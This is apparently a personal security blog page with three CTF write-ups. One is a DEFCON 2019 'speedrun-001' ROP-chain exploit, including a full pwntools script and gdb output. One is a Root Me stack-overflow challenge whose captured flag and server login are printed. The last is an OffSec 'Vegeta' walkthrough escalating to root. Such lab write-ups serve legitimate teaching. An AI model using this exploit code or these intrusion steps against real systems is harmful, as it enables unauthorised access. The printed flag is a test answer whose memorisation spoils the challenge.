Search This Blog

Showing posts with label CTF. Show all posts
Showing posts with label CTF. Show all posts

Saturday, May 7, 2022

Buffer Overflow to ROP Chain | speedrun-001 | DEFCON 2019 Quals pwn CTF challenge




Back with another binary exploitation challenge, and this time I decided to do the DEFCON 2019 CTF Qualifier challenge as, being in the Infosec community, I've never done any CTF hosted or provided by DEFCON. To those who have no clue what DEFCON is, DEFCON is a conference that has hackers and security researchers link up and host different talks that pertains to security as well as host different CTFs (both Jeopardy style and Attack-And-Defense). I'm not gonna dive into the history of DEFCON. To know more, click here.

Back to the challenge. This challenge basically exploits a buffer overflow vulnerability and upon exploitation, craft a ROP Chain which in turn executes '/bin/sh', which gets me a shell on the remote machine to get the flag. At the time of my writeup of this challenge, the target server has been shut down, so there is no remote server to connect to. However the binary executable has been provided so we can take on the challenge locally pop a shell.

Typically for these kind of hacking challenges, there are times when you're provided with the source and times when you're not. So some knowledge of programming (In C) and some reverse engineering is vital. Let's get to the challenge.

Challenge binary can be downloaded here

Let's run checksec on the binary to have a look at the security mechanisms enabled on it.

kaizen@kaizen-box:~/oooverflow# checksec speedrun-001
[*] '/home/kaizen/oooverflow/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

RELRO (which is also Relocation Read Only) is partially enabled, which won't matter in our case because we have no need to overwrite any entry on the Global Offset Table. There's no Stack Canary found, which is good for us because if it we're to be enabled, any attempt to overflow anything on the stack will prove to be useless as the canary will pick up on us trying to overwrite other parts of memory and block us so... good stuff so far! NX, is enabled, which immediately stands out to me because since its enabled, we aren't able to inject any code and have it executed on the stack. PIE (Position Independant Executable) is off as well so that's pretty good.

Upon executing the binary, we see that the program awaits input from the user. If the user takes too long, the program triggers a SIGINT and exits. Since the program awaits input, let's have a look at if we have to send through a whole bunch of junk to trigger a 'segmentation fault' and see if the program is vulnerable to a buffer overflow vulnerability


kaizen@kaizen-box:~/oooverflow# python -c 'print ("A"*2000)' | ./speedrun-001 
Hello brave new challenger
Any last words?
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Upon multiple attempts, we trigger a segmentation fault, indicating that we've triggered the buffer overflow. This lets us know that a gets() is being used. If you know anything about the buffer overflow vulnerability, the gets() function continues to store characters past the allocated buffer size, enabling an arbitrary write to other parts of memory. So let's have a look at gdb and see the how much we need to input to have control over the saved return address by generating a cyclic pattern of characters and using those characters to trigger another segmentation fault.

gef➤  r
Starting program: /home/kaizen/oooverflow/speedrun-001 
Hello brave new challenger
Any last words?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaa...
This will be the last thing that you say: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa...

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7fc             
$rbx   : 0x00000000400400  →   sub rsp, 0x8
$rcx   : 0x0               
$rdx   : 0x000000006bbd30  →   add BYTE PTR [rax], al
$rsp   : 0x007fffffffe4d8  →  "eaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafka[...]"
$rbp   : 0x6661616161616164 ("daaaaaaf"?)
$rsi   : 0x0               
$rdi   : 0x1               
$rip   : 0x00000000400bad  →   ret 
$r8    : 0x7fc             
$r9    : 0x7fc             
$r10   : 0xfffff82f        
$r11   : 0x246             
$r12   : 0x000000004019a0  →   push rbp
$r13   : 0x0               
$r14   : 0x000000006b9018  →  0x00000000440ea0  →   mov rcx, rsi
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x007fffffffe4d8│+0x0000: "eaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafka[...]"	 ← $rsp
0x007fffffffe4e0│+0x0008: "faaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaafla[...]"
0x007fffffffe4e8│+0x0010: "gaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafma[...]"
0x007fffffffe4f0│+0x0018: "haaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafna[...]"
0x007fffffffe4f8│+0x0020: "iaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoa[...]"
0x007fffffffe500│+0x0028: "jaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpa[...]"
0x007fffffffe508│+0x0030: "kaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqa[...]"
0x007fffffffe510│+0x0038: "laaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafra[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ba6                  call   0x40f710
     0x400bab                  nop    
     0x400bac                  leave  
 →   0x400bad                  ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────  threads ────
[#0] Id 1, Name: "speedrun-001", stopped 0x400bad in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[#0] 0x400bad → ret 

gef➤  i f
Stack level 0, frame at 0x7fffffffe4d8:
 rip = 0x400bad; saved rip = 0x6661616161616165
 called by frame at 0x7fffffffe4e8
 Arglist at 0x7fffffffe4d0, args: 
 Locals at 0x7fffffffe4d0, Previous frame's sp is 0x7fffffffe4e0
 Saved registers:
  rip at 0x7fffffffe4d8

gef➤  pattern search "eaaaaaaf"
[+] Searching for 'eaaaaaaf'
[+] Found at offset 840 (little-endian search) likely

Upon looking at gdb, we trigger a seg fault, but this time with our generated pattern. The pattern allows us to identify where the saved return address is since we've overflowed the input buffer. It enabled us to know an accurate amount of input we will need from the beginning of the input itself until where the saved return address is in memory. Here we can see that the offset from the start of our input to the saved return address is 1032 bytes (0x6661616161616165 = eaaaaaaf). We'll take note of that.

Now that we have control over the return address, we need a way forward. There are no other functions to jump to within the executable. The next plan of action is to implement ROP Gadgets. I've explained ROP gadgets in the past and why they are used in the way they are. We can use ROP to jump to other places in memory. Using ROP here seems like the only option as the stack protection has been enabled. so Lets do that.

The Goal is to have an execve system call to execute /bin/sh. To do this, we will need to find these rop gadgets within the executable. To execute the execve, we will need to pop values to the execve syscall registers (rax, rdi, rdx and the rdi registers). For this, we can either use ROPgadget or ropper browse through the executable and show us the list of gadgets available in the executable. Since we are looking for gadgets that correspond with the parameters of the execve system call, we will 'grep' for 'pop rdx, rax, rdi, and rsi


$ ROPgadget --binary speedrun-001 | grep ": pop rdx ; ret" 
	0x00000000004498b5 : pop rdx ; ret
	0x000000000045fe71 : pop rdx ; retf
$ ROPgadget --binary speedrun-001 | grep ": pop rax ; ret" 
	0x0000000000415664 : pop rax ; ret
	0x000000000048cccb : pop rax ; ret 0x22
	0x00000000004a9323 : pop rax ; retf
$ ROPgadget --binary speedrun-001 | grep ": pop rdi ; ret" 
	0x0000000000400686 : pop rdi ; ret
$ ROPgadget --binary speedrun-001 | grep ": pop rsi ; ret" 
	0x00000000004101f3 : pop rsi ; ret
$ ROPgadget --binary speedrun-001 | grep syscall
	0x000000000040129c : syscall

In addition to finding these gadgets, we will need to find a place to place the string /bin/sh\x00 somewhere in memory as well as an address to write it to. Within the executable, we see that there is a mov instruction present which enables us to store a value at the memory address of the rax register. So we'll use that.


0x0000000000471bb4 : mov qword ptr [rax], rdx ; mov eax, esi ; jmp 0x471b97
0x00000000004114a4 : mov qword ptr [rax], rdx ; mov qword ptr [rax + 8], rdx ; jmp 0x410ff7
0x0000000000484ec0 : mov qword ptr [rax], rdx ; pop rbx ; ret

0x000000000048d251 : mov qword ptr [rax], rdx ; ret		// Found Gadget!

0x0000000000471e6b : mov qword ptr [rax], rdx ; xor eax, eax ; jmp 0x471e2f
0x0000000000471e2a : mov qword ptr [rax], rdx ; xor eax, eax ; ret
0x000000000048f939 : mov qword ptr [rbp + 0x10], rax ; jmp 0x48f86e
0x0000000000418ff8 : mov q

For the memory location, we see that the address 0x6b6000 will work for us since it is in the PIE segment so we know the address of it without an infoleak, and there doesn't appear to be anything stored at that address:


gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kaizen/Downloads/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kaizen/Downloads/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/4g 0x00000000006b6000
0x6b6000:	0x0	0x0
0x6b6010:	0x0	0x0

Lastly, we need the actual syscall...


0x0000000000475453 : sub esp, 8 ; syscall
0x0000000000475452 : sub rsp, 8 ; syscall

0x000000000040129c : syscall		// syscall found!

0x00000000004498a6 : test eax, eax ; jne 0x4498c0 ; xor eax, eax ; syscall
0x0000000000449976 : test eax, eax ; jne 0x449990 ; mov eax, 1 ; syscall
0x0000000000449ab3 : test eax, eax ; jne 0x449b18 ; mov eax, 0x48 ; syscall

With all this, it's safe to say that we have everything we need to build out the entire ROP Chain. For the execve syscall, it expects three arguments (in addition to 0x3b being in the rax register to specify we want an execve system call). In the rdi register, it expects a pointer to the filename to be executed, which is /bin/sh. In the rsi and rdx registers it will expect pointers to the arguments / enviornment variables for the process (for our purposes we don't need to worry about them, sow e can just set them equal to zero).

Our ROP chain will have the following instructions:


pop rdx, 0x0068732f6e69622f
pop rax, 0x6b6000
mov qword ptr [rax], rdx ; ret

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall

Upon all the analysis we've done on the executable, We finally have all we need. In a nutshell, we will exploit a buffer overflow vulnerability, build a ROP chain that will execute an execve syscall to /bin/sh. I've already writted out the final exploit.

Final Exploit

#!/sbin/python
from pwn import *
context.log_level = "DEBUG"
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish the pop ROP Gadgets
popRdx = p64(0x4498b5)
popRax = p64(0x415664)
popRsi = p64(0x4101f3)
popRdi = p64(0x400686)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# syscall
syscall = p64(0x40129c)
# payload from initial input to return address
payload = b"0"*1032
# Write '/bin/sh\x00' to '0x6b6000'
#pop rdx, 0x0068732f6e69622f
#pop rax, 0x6b6000
#mov qword ptr [rax], rdx ; ret
payload += popRdx
payload += p64(0x0068732f6e69622f)
payload += popRax
payload += p64(0x6b6000)
payload += writeGadget
# Setup args for syscall
# pop rax, 0x3b
payload += popRax
payload += p64(0x3b)
# pop rdi, 0x6b6000
payload += popRdi
payload += p64(0x6b6000)
# pop rsi, 0x0
# pop rdx, 0x0
payload += popRsi
payload += p64(0)
payload += popRdx
payload += p64(0)
# syscall
payload += syscall
# Send the payload
target.send(payload)
target.interactive()

Upon running the exploit...

kaizen@kaizen-box:~/oooverflow# ./exploit.py 
[+] Starting local process './speedrun-001' argv=[b'./speedrun-001'] : pid 3190
[DEBUG] Sent 0x478 bytes:
    00000000  30 30 30 30  30 30 30 30  30 30 30 30  30 30 30 30  │0000│0000│0000│0000│
    *
    00000400  30 30 30 30  30 30 30 30  b5 98 44 00  00 00 00 00  │0000│0000│··D·│····│
    00000410  2f 62 69 6e  2f 73 68 00  64 56 41 00  00 00 00 00  │/bin│/sh·│dVA·│····│
    00000420  00 60 6b 00  00 00 00 00  51 d2 48 00  00 00 00 00  │·`k·│····│Q·H·│····│
    00000430  64 56 41 00  00 00 00 00  3b 00 00 00  00 00 00 00  │dVA·│····│;···│····│
    00000440  86 06 40 00  00 00 00 00  00 60 6b 00  00 00 00 00  │··@·│····│·`k·│····│
    00000450  f3 01 41 00  00 00 00 00  00 00 00 00  00 00 00 00  │··A·│····│····│····│
    00000460  b5 98 44 00  00 00 00 00  00 00 00 00  00 00 00 00  │··D·│····│····│····│
    00000470  9c 12 40 00  00 00 00 00                            │··@·│····│
    00000478
[*] Switching to interactive mode
[DEBUG] Received 0x461 bytes:
    00000000  48 65 6c 6c  6f 20 62 72  61 76 65 20  6e 65 77 20  │Hell│o br│ave │new │
    00000010  63 68 61 6c  6c 65 6e 67  65 72 0a 41  6e 79 20 6c  │chal│leng│er·A│ny l│
    00000020  61 73 74 20  77 6f 72 64  73 3f 0a 54  68 69 73 20  │ast │word│s?·T│his │
    00000030  77 69 6c 6c  20 62 65 20  74 68 65 20  6c 61 73 74  │will│ be │the │last│
    00000040  20 74 68 69  6e 67 20 74  68 61 74 20  79 6f 75 20  │ thi│ng t│hat │you │
    00000050  73 61 79 3a  20 30 30 30  30 30 30 30  30 30 30 30  │say:│ 000│0000│0000│
    00000060  30 30 30 30  30 30 30 30  30 30 30 30  30 30 30 30  │0000│0000│0000│0000│
    *
    00000450  30 30 30 30  30 30 30 30  30 30 30 30  30 b5 98 44  │0000│0000│0000│0··D│
    00000460  0a                                                  │·│
    00000461
Hello brave new challenger
Any last words?
This will be the last thing that you say: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000\xb5\x98D
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0xb9 bytes:
    b'uid=1000(kaizen) gid=1001(kaizen) groups=1001(kaizen),3(sys),90(network),96(scanner),98(power),982(rfkill),984(users),985(video),987(storage),990(optical),991(lp),996(audio),998(wheel)\n'
uid=1000(kaizen) gid=1001(kaizen) groups=1001(kaizen),3(sys),90(network),96(scanner),98(power),982(rfkill),984(users),985(video),987(storage),990(optical),991(lp),996(audio),998(wheel)
[*] Got EOF while reading in interactive
$  

And just like that... WE POP A SHELL!! Challenge Complete.

Tuesday, February 22, 2022

ELF x86 — Stack buffer overflow (basic) 1 CTF Writeup | PWN Challenge Documentation #1


This Capture the Flag challenge was taken from Root Me (http://root-me.org), which is a platform that offers various hacking challenges ranging from topics like Cryptoanalysis, Web Exploitation, Cracking, Programming, Network & Memory-Dump Forensics along with other challenges to improve hacking and computer security. This was a particularly interesting as it was definitely interesting to learn. As far as this documentation is concerned, It has alot to do with binary exploitation. Binary exploitation is a subset of hacking and computer security which has do with exploiting vulnerabilities in binary executables. Part of the "App-System" category is the Stack buffer overflow basic 1 CTF challenge which is intended to teach the basics of Binary exploitation. Upon doing this challenge you notice that the source code of the challenge as well as an ssh connection to a remote server that we can connect to and exploit the binary and grab the flag. First, we grab the source code and compile the code into a binary we can analyze on our attacker machine to find the vulnerability and exploit it locally so we can have a well crafted exploit to finally exploit the binary in the remote server and grab the flag.

Source Code Analysis


Looking at the source code, we see char  which means that a char (character) buffer is being declared to handle a maximum of 40 characters. The fgets() function takes in the input to place into buf[40], although the second parameter, 45, shows that the limit of the input the user can put in is 45, leaving an extra 5 characters we can put in, this makes it more interesting. 

Continuing further, 2 "if conditionals" come to play. The first "if conditional" basically checks if the variable "check" is either equal to 0x04030201 or 0xdeadbeef. If the variable "check" is not equal to either, then it prints out to the user "You are on the right way"...(which of course is false encouragement lol.)

The second "If condition" gives us a straight path of what we need to do. The goal of every CTF is to overcome the challenge and capture the flag. Looking further beyond this if conditional, the program tells me that "I've won...Opening my shell...". That is exactly what we want. We want to exploit this binary in order to get a /bin/bash shell in order to capture the flag and complete the challenge. So in order for that to happen, the variable "check" must equal "0xdeadbeef". From here onwards, we know exactly what we want to do.

We will use a buffer overflow attack on the program, specifically on the 'buf[40]' character array so we can overwrite it and insert 0xdeadbeef into the variable "check" and get the flag. Cool.

Exploitation

Now that we have a pathway to exploitation, we firstly have to connect to the SSH server where this challenge is being hosted.

SSH credentials: ssh -p 2222 app-systeme-ch13@challenge02.root-me.org:app-systeme-ch13



We finally login to the SSH server. The information parsed through while logging onto the server is a script are for additional server called checksec, which is a program used to check for the security mechanisms enabled in a given binary. The only protection enabled is NX, or Non-eXectuable, is a security mechanism that enables the stack in memory to be protected from any shellcode. So basically, if any code was injected into the stack, that code wouldn't be executed. 


I have crafted the exploit. Python is lightweight for exploit development for CTFs so I'll use it here. Firstly we need to overflow the buf[40] character array then afterward we add, 0xdeadbeef (represented in hex). As all this is being done, the exploit pipes its input into the vulnerable binary and we get this..."Yeah dude, you win". This is what we want. Initially we see the prompt hang, meaning that the /bin/bash shell has been opened in order for us to find the flag.

Flag: 1w4ntm0r3pr0np1s













Friday, January 21, 2022

OffSec's Proving Grounds: "Vegeta" Walkthrough

 

 


Offensive Security is a world wide renowned Cybersecurity company that offers Cybersecurity consulting for companies as well as Cybersecurity training for security professionals veterans as well as those wanting to break into the industry. Proving Grounds however is a platform they offer which contains a number of virtual machines which people can play which are created in a 'Capture The Flag' format with the intention to sharpen hacking skills. The following is my documentation of the 'Vegeta' machine I played on the platform.

IP: 192.168.234.73

OS: Linux

Recon & Initial Access

The Beginning of my recon on this machine begins with an nmap scan which shows the following:


The NMAP scan (NMAP is a popular network reconnaissance tool which assists scan target machines or networks and gives information about them like what OS, ports and services are available) tells us that we have SSH running on port 22 (specifically OpenSSH 7.9p1) and running on the web server is an Apache 2.4.38. My first reaction was to first go on ahead and inspect the web server to see whats there. Maybe we could find a basic authentication login page we could exploit.



On the web page, we discover that there is no login page and that this machine is themed after Vegeta from the popular anime DBZ. Fancy lol.
One of the things that are done when trying to find initial access to any web server is to poke around for anywhere data can be inserted in order to manipulate any backend database or application (ex. SQL INJECTIONS or LOCAL FILE INCLUSIONS or any other similar functioning vulnerabilities) or even any information that can aid us to craft an exploit against the target server. Upon looking at this webpage, I went on to search for a /robots.txt file on the server as this file usually contains some information that we can use.



 

Immediately, after discovering the web server has a robots.txt file, I see the file pointing to a /find_me directory on the server.


 


Putting that into the URL and we are met with a 'find_me.html' file that we can look at. I checked it out and saw that there was nothing much. I went on to check the source code of the particular page as usually you get more information of what is running on the server as well as any more directories which can have more information. The more the information, the more the chances are high for a successful hack. 


 

Scrolling down the source code reveals a long string (array of random characters like "=uwh8h2787yhdhiqhj8d9yhjbuhbs36ffj") which I then
discover is a base64 encoded string. I try and decode it and realize the string is just another bunch of unreadable text which won't serve
me for an entry point into the server. I was expecting maybe a hint to another directory or maybe even credentials we can use to SSH into the machine but nothing. Cool.

So then after poking around and looking for ways to have initial access, I realize that this machine is themed after Vegeta from DBz. 

So i tried typing /bulma as another possible directory and here's to my suprise, the directory exists on the web server and holds a .wav
file ('hahahaha.wav' was the filename just so you know. DON'T ASK WHY... NO ONE KNOWS lol.).


 

I downloaded the file and began to look into it for any obfuscated data. Looking into the file, I realise that the file has morse code. So I went online and looked for any morse code decoders. I finally found one and managed to decode it. Upon decoding, the morse code reveals that there is a user available on the server named trunks and his password is "us3r with the 'S' as a dollar symbol". Since this is gamified, it isn't exactly realistic. Realistically, a web developer or even a system administrator would at least try not to expose any files... better still a morse code containing .wav file which can disclose any information of what is in the web server.

So upon finding information about this 'trunks' user, I refer back to my NMAP reconnaissance results and remember that there is a way I
can establish initial access to the server via SSH. SSH is a service which allows for authenticated and encrypted remote logins with typically is found on port 22 in networking, unless a sysadmin
configures a different port altogether. I then SSH in to the machine and I am logged on as trunks within the web server. I'M IN! finally.


Privilege Escalation & ROOT Access


Whenever a hacker finds an entry point to a system, a network or a server, it is of utmost priority to elevate privileges because on every
computer system, there are 'root' (in unix) or 'administrator' (in windows systems) which have the ability to execute anything. Realistically, a hacker
would then attempt to craft a piece of malware code or a file embedded with malware code in order to achieve this and go even further to establish persistent access to the system or the network. In my case,I am logged in as the trunks user, thus concluding that I don't have alot of privileges as to what I can do. My goal is to get to root in
order to have administrator privileges in order to have FULL CONTROL of the machine.

So next, for me to know any privilege escalation vectors, within my attacker machine are scripts I have available which essentially can look
through the machine and see any vectors I can use to maliciously escalate my privilege and get 'root' access to the machine. For me
to get this script (called LinEnum.sh) to the target machine I have access to, I initiate a python based local web server which will serve
my script in order for me to use the target machine and grab it, so I can execute it.


I grab it, change the script into an bash executable and execute it. 

LinEnum.sh script running

This script outputs alot of information such as the kernel version, the SUID, SGID binaries and a whole lot more I just won't get into as it typically leads, even myself, down unnecessary rabbit holes. 


 

The script then shows me that on the machine is a '.bash_history' file, which is basically a file that saves the history of commands that we're executed by the user. Looking at these commands, we see that this user created a 'Tom' user. 


 

So I then try to see if this user exists. To do this, there is a file called the 'passwd'
file in the /etc directory. 

/etc/passwd contents

 

I review this file and find out that there is no such user that exists by the name of 'Tom'. So my curiousity
was like "Why is this command here if it was'nt even executed in the first place???? Maybe... what I can do is execute it????"... And
so I did with a simple copy/paste.

 

Executing it, I then discover that this 'Tom' user is assigned as 'root'. Which is is good for me as the attacker. So I login as Tom on the machine and finally. I'm ROOT! At this point, I have full control of the target and I can run additional scripts to cause more chaos if I wanted to

At this point, I have full control of the target and I can run additional scripts to cause more chaos if I wanted to. But since this is just a CTF, we'll leave it at that. 


What This Machine reinforced:

- The importance of the .bash_history file in Linux systems
- The importance of Proper Recon. Being proficient with Information Gathering will allow a hacker to be time efficient in an investigation as well as craft the exploit or a strategy that will enable quicker RCE (Remote Code Execution) and eventually fully exploit the target machine.

This machine took me about approx 1.5 hours to fully enumerate & hack into an gain into, but again, this is gamified and is just a means to hack in a legal environment. This is the first of many other CTFs I will be using to learn as much as I can.